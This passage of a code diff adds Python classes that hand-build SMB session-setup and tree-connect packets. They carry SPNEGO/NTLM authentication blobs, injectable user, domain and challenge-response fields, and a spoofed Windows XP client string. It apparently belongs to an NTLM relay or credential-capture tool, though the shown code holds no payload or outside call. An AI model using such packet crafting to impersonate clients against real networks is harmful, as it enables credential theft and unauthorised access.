+        data9 = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
+
+        data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
+       
+        data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
+
+        ## Packet len
+        self.fields["andxoffset"] = struct.pack("<H", len(data9)+32)
+        ##Buff Len
+        self.fields["securitybloblength"] = struct.pack("<H", len(data1))
+        ##Complete Buff Len
+        self.fields["bcc1"] = struct.pack("<H", len(data5))
+        ##App Header
+        self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2))
+        ##Asn Field 1
+        self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
+        ##Asn Field 1
+        self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
+        ##SpNegoTokenLen
+        self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
+        ##NegoTokenInit
+        self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10)) 
+        ## Tag0 Len
+        self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11)) 
+        ## Tag0 Str Len
+        self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
+        ## Tag2 Len
+        self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
+        ## Tag3 Len
+        self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7))
+
+
+#########################################################################################################
+class SMBSession2(Packet):
+    fields = OrderedDict([
+        ("wordcount", "\x0c"),
+        ("AndXCommand", "\xff"),
+        ("reserved","\x00"),
+        ("andxoffset", "\xfa\x00"),
+        ("maxbuff","\x04\x11"),
+        ("maxmpx", "\x32\x00"),
+        ("vcnum","\x01\x00"),
+        ("sessionkey", "\x00\x00\x00\x00"),
+        ("securitybloblength","\x59\x00"),
+        ("reserved2","\x00\x00\x00\x00"),
+        ("capabilities", "\xd4\x00\x00\xa0"),
+        ("bcc1","\xbf\x00"),
+        ("ApplicationHeaderTag","\xa1"), 
+        ("ApplicationHeaderLen","\x57"), 
+        ("AsnSecMechType","\x30"),       
+        ("AsnSecMechLen","\x55"),   
+        ("ChoosedTag","\xa2"),
+        ("ChoosedTagLen","\x53"),
+        ("ChoosedTag1","\x04"),
+        ("ChoosedTag1StrLen","\x51"),
+        ("NLMPAuthMsgSignature",  "\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
+        ("NLMPAuthMsgMessageType","\x03\x00\x00\x00"),
+        ("NLMPAuthMsgLMChallengeLen","\x01\x00"),
+        ("NLMPAuthMsgLMChallengeMaxLen","\x01\x00"),
+        ("NLMPAuthMsgLMChallengeBuffOffset","\x50\x00\x00\x00"),
+        ("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"), 
+        ("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"), 
+        ("NLMPAuthMsgNtChallengeResponseBuffOffset","\x51\x00\x00\x00"),
+        ("NLMPAuthMsgNtDomainNameLen","\x00\x00"),
+        ("NLMPAuthMsgNtDomainNameMaxLen","\x00\x00"),
+        ("NLMPAuthMsgNtDomainNameBuffOffset","\x48\x00\x00\x00"),
+        ("NLMPAuthMsgNtUserNameLen","\x00\x00"), 
+        ("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"), 
+        ("NLMPAuthMsgNtUserNameBuffOffset","\x48\x00\x00\x00"),
+        ("NLMPAuthMsgNtWorkstationLen","\x08\x00"),
+        ("NLMPAuthMsgNtWorkstationMaxLen","\x08\x00"),
+        ("NLMPAuthMsgNtWorkstationBuffOffset","\x48\x00\x00\x00"),
+        ("NLMPAuthMsgRandomSessionKeyMessageLen","\x00\x00"),
+        ("NLMPAuthMsgRandomSessionKeyMessageMaxLen","\x00\x00"),
+        ("NLMPAuthMsgRandomSessionKeyMessageBuffOffset","\x55\x00\x00\x00"),
+        ("NLMPAuthMsgNtNegotiateFlags","\x05\x8A\x88\xa2"),
+        ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
+        ("NegTokenInitSeqMechMessageVersionLow","\x01"),
+        ("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
+        ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
+        ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
+        ("NLMPAuthMsgNtDomainName",""),
+        ("NLMPAuthMsgNtUserName",""),
+        ("NLMPAuthMsgNtWorkstationName",""),
+        ("NLMPAuthLMChallengeStr", "\x00"),
+        ("NLMPAuthMsgNTLMV1ChallengeResponseStruct",""),
+        ("NLMPAuthMsgNTerminator",""),
+        ("nativeOs","Windows 2002 Service Pack 3 2600"),
+        ("nativeOsterminator","\x00\x00"),
+        ("nativelan","Windows 2002 5.1"),
+        ("nativelanterminator","\x00\x00\x00\x00"),
+
+        ])
+
+    def calculate(self): 
+
+        self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le')
+        self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le')
+        self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le')
+
+        self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le')
+        self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le')
+
+        CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
+
+        SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
+
+        SecurityBlobLen2 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])
+
+        SecurityBlobBCC = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
+
+        CalculateUserOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])
+
+
+        CalculateDomainOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
+
+        CalculateWorkstationOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])
+
+        CalculateLMChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])
+
+        CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
+
+        ## Packet len
+        self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2]
+        ##Buff Len
+        self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2]
+        ##Complete Buff Len
+        self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2]
+        ## Guest len check
+        self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1]
+        self.fields["AsnSecMechLen"]        = struct.pack("<i", len(SecurityBlobLen)-4)[:1]
+        self.fields["ChoosedTagLen"]        = struct.pack("<i", len(SecurityBlobLen)-6)[:1]
+        self.fields["ChoosedTag1StrLen"]        = struct.pack("<i", len(SecurityBlobLen)-8)[:1]
+
+
+        ##### Username Offset Calculation..######
+        self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset))
+        self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
+        self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
+        ##### Domain Offset Calculation..######
+        self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset))
+        self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
+        self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
+        ##### Workstation Offset Calculation..######
+        self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset))
+        self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
+        self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
+
+        ##### NT Challenge Offset Calculation..######
+        self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset))
+        self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
+        self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
+        ##### LM Challenge Offset Calculation..######
+        self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = struct.pack("<i", len(CalculateLMChallengeOffset))
+        self.fields["NLMPAuthMsgLMChallengeLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
+        self.fields["NLMPAuthMsgLMChallengeMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
+
+######################################################################################################
+
+class SMBTreeConnectData(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x04"),
+        ("AndXCommand", "\xff"),
+        ("Reserved","\x00" ),
+        ("Andxoffset", "\x5a\x00"), 
+        ("Flags","\x08\x00"),
+        ("PasswdLen", "\x01\x00"),
